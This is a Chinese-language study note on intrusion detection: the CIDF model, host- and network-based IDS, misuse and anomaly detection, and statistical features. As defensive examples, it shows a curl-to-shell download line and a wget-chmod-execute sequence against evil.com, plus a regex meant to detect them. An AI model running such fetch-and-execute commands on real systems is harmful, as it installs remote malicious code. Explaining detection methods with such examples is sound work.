入侵檢測技術框架總論【課題筆記】

1. 引言,網絡安全態勢理解

對態勢的理解是人們組合、分析、解讀和保留信息的過程。在態勢提取的基礎上,我們可以採取一些列方法和技術來對安全態勢進行進一步的理解和處理,這其中包括安全檢測和分析、態勢指標構建和態勢評估等。

本文我們將重點對網絡安全檢測和分析的相關技術進行討論。

0x1:網絡安全檢測的描述

網絡安全檢測是指通過對採集來的數據進行檢查,並根據觀察到的異常事件和數據產生告警的過程,這個過程也稱爲網絡安全檢測機制。

這種檢測可以通過以下幾種技術來完成:

  • 入侵檢測的技術:這是最常用的一種技術
  • 入侵相應技術
  • 入侵取證技術

當已經採集到的安全數據通過預處理和驗證並在其中發現異常時,就會進入這個過程。一旦網絡安全檢測機制生成告警數據,且這些數據可供給安全人員進行分析,這一過程將宣告結束,就能夠進入網絡安全分析環節中。

0x2:安全分析

安全分析並非機械化過程並非機械化過程,不能單純靠軟件自動完成,它對人的能力要求較高,需要安全分析人員的高度參與,且沒有統一的、固定的標準,主觀性較強。

 

2. 入侵檢測

所謂入侵檢測,是指對入侵行爲的發覺,它通過從計算機網絡或系統中的若干關鍵點收集信息,並對這些信息進行分析,從而發現網絡或系統中是否有違反安全策略的行爲和遭到攻擊的跡象。

具體實施入侵檢測的軟件與硬件的結合就是入侵檢測系統(IDS),它通過收集計算機系統和網絡的信息並對這些信息加以分析,對被保護系統進行安全審計、監控、攻擊識別以及做出實時的反應。

入侵檢測和安全異常定義關係十分密切,關於安全異常的定義,可以參閱這篇文章

0x1:入侵檢測通用模型

入侵檢測是通過檢測計算機網絡和系統,以發現違反安全策略的事件的過程。但並非所有的網絡安全數據都會被分析或者值得分析,對於需要進行分析的數據,我們統稱爲事件。入侵檢測就是針對事件進行分析處理的。

一個典型的入侵檢測系統至少應包括3個功能模塊:

  • 提供事件記錄流的信息源
  • 發現入侵跡象的分析引擎
  • 基於分析引擎的相應部件

DARPA提出的CIDF(公共入侵檢測框架)闡述了入侵檢測的通用模型,如下圖,

CIDF是一套規範,它定義了IDS表達檢測信息的標準語言以及IDS組件之間的通信協議。符合CIDF規範的IDS可以共享檢測信息,相互通信,協同工作,還可以與其他系統配合實施統一的配置響應和恢復策略。

CIDF的主要作用在於集成各種IDS使之協同工作,實現各IDS之間的組件重用,所以CIDF也是構建分佈式IDS的基礎。

CIDF的規格文檔由四部分組成,分別爲:

  • 體系結構(the common intrusion detection framework architecture):體系結構闡述了一個標準的IDS的通用模型
  • 規範語言(a common intrusion specification language):規範語言定義了一個用來描述各種檢測信息的標準語言
  • 內部通訊(communication in the common intrusion detection framework):內部通訊定義了IDS組件之間進行通信的標準協議
  • 程序接口(common intrusion detection framework APIs):程序接口提供了一套標準的應用程序接口(API函數) 

1. CIDF體系結構 

CIDF的體系結構文檔闡述了一個IDS的通用模型,它將一個IDS分爲以下四個組件:

  • 事件產生器(event generators)
  • 事件分析器(event analyers)
  • 事件數據庫(event databases)
  • 響應單元(response units)

1)事件產生器(event generators)

CIDF將IDS需要分析的數據統稱爲事件(event),它可以是基於網絡的IDS從網絡中提取的數據包,也可以是基於主機的IDS從系統日誌等其他途徑得到的數據信息。

CIDF組件之間是以通用入侵檢測對象(generalized intrusion detection objects,GIDO)的形式交換數據的,一個GIDO可以表示在一些特定時刻發生的一些特定事件,也可以表示從一系列事件中得出的一些結論,還可以表示執行某個行動的指令。

CIDF中的事件產生器負責從整個計算環境中獲取事件,但它並不處理這些事件,而是將事件轉化爲GIDO標準格式提交給其他組件使用,顯然事件產生器是所有IDS所需要的,同時也是可以重用的。

2)事件分析器(event analyers)

CIDF中的事件分析器接收GIDO,並分析他們,然後以一個新的GIDO形式返回分析結果。

3)事件數據庫(event databases) 

CIDF中的事件數據庫負責CIDO的存儲,它可以是複雜的數據庫,也可以是簡單的文本文件。

4)響應單元(response units)

CIDF中的響應單元根據CIDO做出反應,它可以是終止進程、切斷連接、改變文件屬性,也可以只是簡單的報警。

2. CIDF規範語言 

CIDF的規範語言文檔定義了一個公共入侵標準語言(Common intrusion specification language,CISL),各IDS使用統一的CISL來表示原始事件信息、分析結果和響應指令,從而建立了IDS之前信息共享的基礎。CISL是CIDF的最核心也是最重要的內容。

3. CIDF內部通訊 

CIDF將各組件之間的通信劃分爲三個層次結構:

  • GIDO層(GIDO layer):GIDO層負責對傳輸信息的格式化(例如標準json結構體),正是因爲有了GIDO這種統一的信息表達格式,才使得各個IDS之間的互操作成爲可能
  • 消息層(Message layer):消息層負責對傳輸的信息進行加密認證,然後將其可靠地從源傳輸到目的地。消息層不關心傳輸的內容,它只負責建立一個可靠的傳輸通道
  • 傳輸層(Negotiated Transport layer):不屬於CIDF規範,可以採用很多現有的傳輸機制來實現

4. CIDF程序接口 

CIDF也對各組件之間的信息傳遞格式、通信方法和標準API進行了標準化。在現有的IDS中,經常用數據採集部分、分析部分、響應部分和日誌來分別代替事件產生器、事件分析器、響應單元和事件數據庫這些術語。 

Relevant Link:

https://wenku.baidu.com/view/6bfdfa4385254b35eefdc8d376eeaeaad0f316d4.html
http://xueshu.baidu.com/usercenter/paper/show?paperid=21e5eb92dcce8622f82fca4cf0ab4123&site=xueshu_se
http://www.doc88.com/p-9415295880161.html
https://www.docin.com/p-960726121-f2.html

 

3. 入侵檢測系統分類

0x1:根據檢測所用數據源進行分類

根據檢測所用數據的來源不同,可將入侵檢測系統分爲以下三類:

  • 基於主機的入侵檢測系統(HIDS)
  • 基於網絡的入侵檢測系統(NIDS)
  • 基於混合數據源的入侵檢測系統(HIDS+NIDS)

1. 基於主機的入侵檢測系統(HIDS)

此種類型的數據來源主要是:

  • 被監測系統的操作系統事件日誌
  • 應用程序的事件日誌
  • 系統調用日誌(syscall)
  • 端口調用
  • 安全審計日誌(eventlog)

主機入侵檢測主要面向不通過網絡的本地攻擊。

2. 基於網絡的入侵檢測系統(NIDS)

此種類型的數據源是網絡上的原始數據包,利用一個運行在混雜模式下的網絡適配器類實時監視並分析通過網絡進行傳輸的所有通信業務。

該類型不依賴於被監測同的主機操作系統,能檢測到基於主機的入侵檢測系統發現不了的網絡攻擊行爲,提供實時的網絡行爲檢測,且具有較好的隱蔽性。但缺點是無法實現對加密信道和基於加密信道的應用層協議數據的解密,導致對某些網絡攻擊的檢測率較低。

3. 基於混合數據源的入侵檢測系統(HIDS+NIDS)

0x2:根據檢測分析方法進行分類

1. 誤用檢測系統(基於知識的檢測)

它通過收集非正常操作的行爲特徵,建立相關的特徵庫,當監測的用戶或系統行爲與庫中的記錄相匹配時,即認爲這種行爲是入侵。

它根據已知入侵攻擊的信息(知識、模式等)來檢測系統中的入侵和攻擊,其前提是假定所有入侵行爲和手段都能識別並表示成一種模式(攻擊簽名),那麼所有已知的入侵都可以用匹配的方法發現。

誤用檢測的優點是誤報率低,對計算能力要求不高,侷限在於只能發現已知攻擊,對未知攻擊無能爲力,且模式庫難以統一定義,特徵庫也必須不斷更新。 

2. 異常檢測系統(基於行爲的檢測)

異常檢測首先總結正常操作應該具有的特徵(用戶輪廓),當用戶活動與正常行爲有重大偏差時即被認爲是入侵。

由於入侵活動並不總是與異常活動相符合,因此其通常做法是構造異常活動集並從中發現入侵性活動子集。

從技術實現性上來講,異常檢測有3個關鍵:

  • 特徵:異常檢測首先要建立用戶的”正常“行爲特徵輪廓,這個正常模型選取的特徵量
    • 既要能夠準確體現用戶行爲特徵
    • 又要能夠使模型最優化
    • 以最少的特徵覆蓋用戶行爲
  • 閾值:異常檢測一般先建立正常的特徵輪廓並以此作爲比較基準,這個基準即爲閾值
    • 閾值選得過大,漏報率高
    • 閾值選得過小,誤報率就高
  • 比較頻率的選擇:比較頻率是指經過多長時間比較當前行爲和已建立的正常行爲特徵輪廓來判斷入侵的發生與否,即所謂的時間窗口
    • 經過的時間過長,檢測的漏報率會高
    • 經過的時間過短,檢測的誤報率會高
    • 正常行爲特徵輪廓會不斷更新,這也會影響比較頻率

3. 誤用和異常檢測混合的入侵檢測系統

0x3:根據入侵檢測方式進行分類

根據入侵檢測工作方式不同,可將入侵檢測系統分爲以下兩類:

  • 實時檢測系統:在線式檢測系統,是指對網絡數據包、主機審計數據等進行實時監測並分析,可以快速反應。
  • 非實時檢測系統:也稱爲離線式檢測系統,是指通過事後分析審計事件和文件等,從中檢測出入侵攻擊。

 

4. 入侵檢測的分析方法

入侵檢測分析方法主要包括誤用檢測、異常檢測,和協議分析方法。我們下面分別討論:

0x1:誤用檢測

誤用檢測是較早出現的入侵檢測分析方法,屬於第二代入侵檢測技術,它是基於知識(模式)的檢測方法,根據已知的入侵模式來檢測入侵。

主要包括以下幾種類型:

  • 模式匹配方法 
  • 專家系統方法 
  • 狀態轉換方法 

1. 模式匹配方法 

這是最基本、最簡單的誤用檢測方法,它將已知的入侵特徵轉換爲模式,存放在模式數據庫中,在檢測過程中將捕獲的事件與模式數據庫中的入侵模式進行匹配,若匹配成功則認爲有入侵行爲發生。

入侵者通常會利用系統或網絡中的弱點來實施攻擊,而這些弱點可以被編成某種模式,形成一個模式庫,如果入侵者的攻擊方式正好能匹配上入侵檢測系統中的模式庫,那麼就可以認爲入侵行爲發生。

誤用檢測非常依賴於模式庫,這個模式庫是對誤用行爲的一個解釋集,包含了大量對入侵指示器已知的具體行爲的描述信息。

然而,對於模式的定義和描述並不固定,準確度也並不是能百分百保證,這就造成了該類檢測方法的誤報率和漏報率兩頭都存在難以平衡的問題。例如下面的例子:

某惡意下載的攻擊載荷如下,

curl http://evil.com -o evil.sh | sh

通過正則表達式對這種誤用行爲模式進行概括描述爲,

curl\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh

但是這裏存在着漏報和誤報的問題,例如某正常用戶管理員可能會執行下列指令,用於自動化的批量運維部署,

curl http://good.com -o good.sh

這裏面的本質問題在於:

對誤用行爲的模式抽象存在維度模糊性,通過正則表達式對文本的概括抽象所代表的維度上,無法有效對”誤用“和”合法“的行爲模式進行區分,所以就無法進行有效的誤用檢測

解決這個困局的一個思路是”升維“或者”維度切換“,在一個維度無法區分的向量,換到另一個維度也許就很容易定義和區分。例如從命令行判斷維度轉換爲url對應的樣本內容檢測上

同時,誤用檢測基於已知攻擊的假設使得其只能檢測到已知入侵,而對於未知入侵則無能爲力。

2. 專家系統方法

基於專家系統的入侵檢測方法是通過將安全專家的知識表示成IF-THEN規則,形成專家知識庫,然後,運用推理算法進行檢測入侵。

編碼規則說明攻擊的必要條件作爲IF的組成部分,當規則的左邊的全部條件都滿足時,規則的右邊的動作纔會執行。 

入侵檢測的開發者並不需要理解專家系統的內部功能和過程,但需要編寫決定規則引擎和規則的代碼,規則集的每條入侵檢測規則都對應某個入侵腳本場景。

從本質上說,專家系統方法是模式匹配方法的升級,在很多工業實踐場景中,專家系統的IF-THEN規則,就是由模式匹配規則組成,也即所謂的”與或非組合模式匹配規則“,通過組合多個模式匹配規則,來獲得單個模式匹配規則所無法取得的效果。

3. 狀態轉換方法 

狀態轉換方法使用系統狀態和狀態轉換表達式描述和檢測已知的入侵。

狀態狀態分析由R.Kemmerer提出,即將狀態轉換圖應用於入侵行爲的分析。狀態轉換法將入侵過程看作是一個行爲序列,這個行爲序列使得系統由初始狀態轉入被入侵狀態。

分析時首先針對每一種入侵方法確定系統的初始狀態和被入侵狀態,以及導致狀態轉換的條件,即導致系統進入被入侵狀態必須執行的操作(特徵事件)。然後用狀態轉換圖來表示每一個狀態和特徵事件,這些事件被集成於模型中,所以檢測時不需要一個個地審計記錄。

但是,狀態轉換時針對事件序列分析,所以不善於分析複雜的事件,而且不能檢測與系統狀態無關的入侵。

在實際的工程實踐中,我們會藉助馬爾科夫概率轉移矩陣來對入侵事件進行二步圖建模,並通過二步圖的概率累乘計算得到某個會話的異常程度計量。

但是這裏會有兩個比較大的問題,

  • 如果用於訓練二步概率轉移矩陣的數據集只有正常行爲,而不包含任何惡意行爲,即”以白濾黑“。那麼如果異常行爲出現,會在概率轉移矩陣中無法找到對應元素,那麼爲了平滑化,會置一個很小的概率值,這樣從結果上看,就近乎等同於”基於歷史基線的非白即黑“的異常發現,虛警率會很高
  • 如果用於訓練的數據集只包含惡意行爲,而不包含任何正常行爲,即”以黑找黑“,那麼又會陷入和模式匹配類似的困境,就是對未知的新攻擊方式檢測率較低

4. 模型推理方法

對於入侵檢測來說,我們常常可以用UEBA的方法論來對原子事件進行建模分析,但是UEBA最大的問題在於,單純從行爲的角度發現的異常,並不一定就代表着實際的入侵

爲了解決這個問題,我們可以用模型推理這個新的視角來看待異常行爲問題。將攻擊者行爲的知識描述爲【攻擊者目的:攻擊者達到此目的的可能行爲步驟:攻擊後獲得的結果】,例如:

  • 【下載惡意腳本:wget http://evil.com/evil.sh; chmod 744 evil.sh; ./evil.sh:發現腳本文件落盤;檢測到該文件爲惡意文件】

模型推理方法的好處在於,擴大了入侵檢測的維度範圍,原本從單純行爲層面不好檢測的事件,通過攻擊者目的或者攻擊後獲得的結果,可以輔助檢測,同時檢測結果也反過來對攻擊步驟進行標記。

0x2:異常檢測

異常檢測(anormaly detection)是指根據非正常行爲(系統或用戶)和資源非正常使用情況檢測出入侵行爲。異常檢測是一種基於行爲的檢測方法,它的通用性較強,可以檢測出未知的攻擊模式。

異常檢測的關鍵問題在於正常使用輪廓(profile)的建立以及如何利用該輪廓對當前的系統/用戶行爲進行比較,從而判斷出於正常輪廓的偏離程度。但這裏存在幾點主要挑戰:

  • 用於建立使用輪廓的特徵選擇是一個非常有挑戰的事情,也即所謂的特徵工程抽象難題。主要的難點在於下面幾個方面:
    • 選哪些特徵可以表徵入侵,這涉及到一個互信息問題,因爲不是每個特徵統計量都和入侵有直接關係,例如單位時間進程啓動數就和入侵沒有強相關,而很可能只是管理員在編譯源代碼
    • 特徵的數量維度,單維度的特徵可能很難完整表徵入侵,但是多維特徵的統計建模對計算複雜度的影響又是非常劇烈的
  • 正常用戶的行爲可能是經常改變的,這導致正常用戶行爲輪廓的概率分佈並不固定,這就會導致誤報率的波動
  • 正常用戶的行爲輪廓概率分佈並不收斂集中,而是分佈在一個相對十分廣泛的區間內,有時甚至會和某些異常行爲的概率分佈存在部分交疊,這就同時導致了誤報和漏報的問題
  • 在用戶數目衆多,或工作目的經常改變的環境中,會遇到所謂的大數據問題。在這種複雜業務場景環境下,系統/用戶的正常描述應該是不斷修正和更新的,甚至檢測器所使用的特徵度量也需要不斷調整,但往往異常檢測模型的特徵向量組在建模期間就已經固定下來了

異常檢測是目前學界和工業界的重點研究方向,目前存在多種異常入侵檢測方法,如:

  • 貝葉斯統計
  • 機器學習
  • 神經網絡

1. 基於統計的異常檢測方法

統計方法首先給信息對象,如

  • 系統用戶
  • 網絡連接
  • 落盤文件
  • 進程啓動
  • 目錄
  • 設備
  • ..等

針對這些信息對象,創建一個統計描述,統計正常使用時的一些測量屬性,如

  • 單位時間內外連訪問次數
  • 操作失敗次數(例如添加賬號、系統賬號登錄)
  • 單位時間內新進程啓動的種類數和次數

測量屬性的平均值將被用來與網絡、系統的行爲進行比較,任何觀察值在正常偏差之外時,就認爲有入侵發生。其優點是可檢測到未知的入侵和更爲複雜的入侵,缺點是誤報、漏報率高,且不適應用戶正常行爲的突然改變。

進入更具體一些的實際操作層面,基於統計的異常檢測方法主要包括以下關鍵技術:

  • 選取合適的統計量:在入侵檢測系統中,採用統計量描述系統和用戶的行爲,統計量也包括系統、主機、用戶的信息,而且每種統計量的表達方式也不盡相同。選擇能夠明確表達入侵的統計量是十分重要的。
  • 基於統計的入侵檢測系統應該具有自學習和自適應能力:得到了系統信息元素的統計量之後,接下來的步驟就是確定當前系統運行輪廓,根據統計窗口的不同,可以分爲兩種思路
    • 單統計量窗口:不做任何統計量的聚合,將每一個統計量向量當成一個信息元素,在後續的異常判斷階段通過一個確定的閾值來判別異常
    • 多統計量窗口(即生成統計量之上的統計量):設定一個滑動的窗口,對統計量再進行一次聚合,例如
      • 正態分佈建模
      • 按照STL時序信號分解爲週期和趨勢信號
      • 或者只是簡單的計算均值
  • 統計數據的分析和入侵的判斷:在選取合適的統計量之後,就要每隔一段時間對系統數據進行採樣,同時分析該統計量的概率分佈特性。將多個統計量聯合分析,最終得出當前系統的評價值,當該評價值超過預設的閾值,就表明存在入侵行爲。閾值的設定是非常重要的
    • 閾值可以是根據歷史信息、窗口統計信息動態自動生成的
    • 專家經驗設定的閾值

關於統計異常建模的應用方面討論,還可以參閱這篇文章

筆者這裏以入侵檢測爲例,粗粒度地討論一下如何通過統計異常來進行異常入侵檢測

1)統計量選擇

統計量的選擇要遵循【最大信息增益】與【統計相關性】原理,根據對目標預測效能的統計相關性進行排序,優先選擇排在靠前的特徵。

對於非結構化的信息對象,可以根據信息對象本身的屬性以及專家領域經驗,總結出一系列統計量,也即特徵,

  • 單位時間窗口內進程啓動次數
  • 單位時間窗口內進程啓動類型數(進程名去重)
  • 單位時間窗口內進程啓動的最大時間間隔(max-min)
  • 單位時間窗口內進程啓動對應的會話sid數量(會話數)
  • 單位時間窗口內進程啓動對應的父進程ppid數量(父進程數)
  • 單位時間窗口內進程啓動對應的當前目錄數量(cwd數)
  • 單位時間窗口內CPU的均值和方差
  • 單位時間窗口內進程發起的網絡外連數量(連接數)
  • 單位時間窗口內進程發起的網絡外連IP數量(目的IP數)
  • 單位時間窗口內進程發起的網絡外連Port數量(目的端口數)
  • 單位時間窗口內進程寫文件數量(File Write次數)
  • 單位時間窗口內進程寫文件文件名數量(FIlename去重數量)
  • 單位時間窗口內進程寫文件行爲的最大時間間隔(max-min)

2)統計量分析和入侵判斷

筆者抽取了以進程爲軸心的相關行爲日誌,進程、網絡、進程寫文件、cpu,根據10分鐘爲一個歸併窗口得到相關的統計量。

並根據已知的歷史告警庫對樣本向量表進行了打標,然後通過ps-smart進行了有監督訓練,基於訓練得到的模型對新數據進行了預測,

通過一些列實驗,筆者得出下列初步結論:

  • 從統計意義上看,概率型的統計量指標和入侵之間沒有明顯的相關性,從相關性和信息論的角度來說,基於概率論基礎的方法,基本是無法直接進行入侵檢測的 
  • 由概率統計衍生出的其他方法,例如馬爾科夫方法,因爲和統計量本身具有底層的相關性傳遞關係,因此從信息論的角度來看,也可以得到初步推論,僅僅依靠馬爾科夫方法是無法直接進行入侵檢測判斷的

筆者思考

對於網絡安全這個特殊的領域來說,目前來說置信度最高的檢測方法論還是【檢測黑客達成了哪些攻擊目的】,具體來說就是:

  • 通過關聯http-request和http-response的成對邏輯關係以及特定文本特徵,判定http攻擊成功的事實推斷
  • 檢測到某個落盤文件,同時通過av判定該文件是一個病毒木馬,則反過來推定該落盤行爲是一次攻擊成功事件
  • 檢測到某個進程啓動,通過分析其命令行中包含的url或者文件,如果判定其是一個病毒木馬,則反過來推斷該進程啓動是一次惡意行爲
  • ...

以上的種種方法,從本質上看,都是【檢測黑客達成了哪些攻擊目的】,是在檢測被攻擊的客體所遭到的攻擊的結果。現在業內也已經有很多這方面的良好實踐和應用。

但是反過來,是否可以轉換思路,從攻擊者主體的角度主動發現攻擊者,通過圖論算法將攻擊者所在的社區或者單個攻擊者離羣點給“圈定”出來。如果能有效發現攻擊者,就擁有了主動情報,基於主動情報,發現客體的被入侵行爲就非常簡單了

3)統計輪廓自適應能力

2. 基於有監督學習的異常檢測方法

有監督學習方法採用非參量化的分析技術,使用自學習技術來提取異常行爲的特徵,需要對訓練數據集進行學習以得出正常的行爲模式,並且要求保證訓練數據的純潔性,即不包含任何入侵或異常的用戶行爲。

神經網絡是一種典型的有監督學習,它由大量的處理單元(unit)組成,單元之間通過帶有權值的連接(connection)進行交互。神經網絡所包含的知識體現在網絡的結構當中,學習過程就表現爲權值的改變和連接的添加或刪除。

3. 基於數據挖掘的入侵檢測方法

數據挖掘是指從數據庫或數據倉庫的數據中提取人們感興趣的知識或規則,這些知識和規則是隱含的、事先未知的、對決策有潛在價值的。提取的知識通常用如下幾種形式表示:

  • 概念
  • 規則
  • 模式
  • ......

在入侵檢測系統中,數據挖掘通常是指從大量的數據中提取出模型的過程,採取以數據未中心的觀點,把入侵檢測看成一個數據分析的過程。

  • 在異常檢測過程中,數據挖掘主要從審計數據中發現正常的使用模式
  • 在誤用檢測過程中,數據數據主要實現審計數據編碼並與攻擊模式匹配的過程

關於關聯規則挖掘在網絡安全裏的應用討論,可以參閱另一篇文章

4. 異常檢測的基本前提假設

異常檢測的基本前提假設是用戶的正常行爲表現爲可預測的、一致的、有規律的系統使用模式,它通過描述正常行爲的模式來檢查和標記非正常(異常)行爲

但是,並非所有的異常行爲都是入侵行爲,入侵行爲只是異常行爲的一個子集,而這也是異常檢測容易引起誤報的原因

異常檢測的基礎是異常行爲模式系統的誤用。

安全數據分析師將輪廓定義成度量集(特徵集合),度量衡量用戶特定方面的行爲,每一個度量與一個閾值(固定或者動態)相聯繫,異常閾值設置的不恰當會造成IDS出現較高的誤報率和漏檢率。

關於異常檢測中的閾值設定,常見的有如下方法論:

  • 量化分析:其檢測規則和屬性以數值形式表示。該技術經常假定一些計算,包括從簡單的加法到比較複雜的密碼學計算,這些技術的結果成爲誤用檢測和異常檢測統計方法的基礎。常見的方法如:
    • 閾值檢測:用戶和系統行爲根據某種屬性計數進行描述
    • 啓發式閾值檢測:在閾值檢測基礎上進一步使它適合於觀察層次
    • 基於目標的集成檢查:對在一個系統客體中一次變化的檢查,該系統客體通常不應發生不可預測的變化
    • 量化分析和數據精簡:從海量事件信息中刪除過剩或冗餘信息的處理
  • Denning的原始模型:該模型在1986年由Dorty Denning提出,他主張在一個系統中可包括4個統計模型,即:
    • 可操作模型:將度量值與閾值相比較,當度量值超出閾值時觸發一個異常
    • 平均和標準差模型:假定行爲信任區域的一個度量值爲一些參數的平均值的標準差,一個新行爲落在信任區域內則爲正常,落在外部則爲異常
    • 多變量模型:基於兩個或多個度量值來執行
    • Markov處理模型:將事件的每個不同類型作爲一個狀態變量,使用一個狀態轉換矩陣來描述不同狀態之間的轉換頻率,頻率過低則爲異常
  • 統計方法:系統生成原始的行爲特徵文件,異常檢測系統定期從歷史的特徵文件中產生新的特徵文件(即統計量的歷史窗口統計量)
  • 基於規則的方法:該方法的潛在假定與統計方法的假定類似,不同之處在於基於規則的方法使用規則集來表示和存儲使用模型。在事件順序中查找模式,若某個事件匹配了規則頭,但下一個事件不在規則集中,則判斷爲異常
  • 非參統計度量:早期的統計方法都使用參數方法來描述用戶和其他系統實體的行爲模式,用戶行爲模式的分佈一般都假定爲高斯分佈或正態分佈,當假定不正確時,異常檢測的錯誤率很高。爲此,有學者提出用非參技術來執行異常檢測,該方法提供很少的可預測使用模式來容納用戶的能力,並允許分析器考慮不容易由參數方案容納的系統度量,這其中涉及非參數據區分技術,尤其是羣集技術。該方法的前提是根據用戶特徵吧表示的用戶活動數據分成兩個明顯區別的羣,一個指示異常活動,一個指示正常活動。
  • 神經網絡:也屬於非參分析技術的一種

0x3:協議分析(NTA)

協議分析是出現最晚的入侵檢測方法,它利用網絡協議的高度規則性,快速識別協議,並檢測是否存在攻擊,通過辨別數據包的協議類型,以便使用相應的數據分析程序來檢測數據包。 

協議分析技術的主要優勢在於採用命令解析器(在不同的協議層次上),能夠對每個用戶命令作出詳細分析,如果出現IP碎片,可以對數據包進行重組還原,然後再進行分析。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章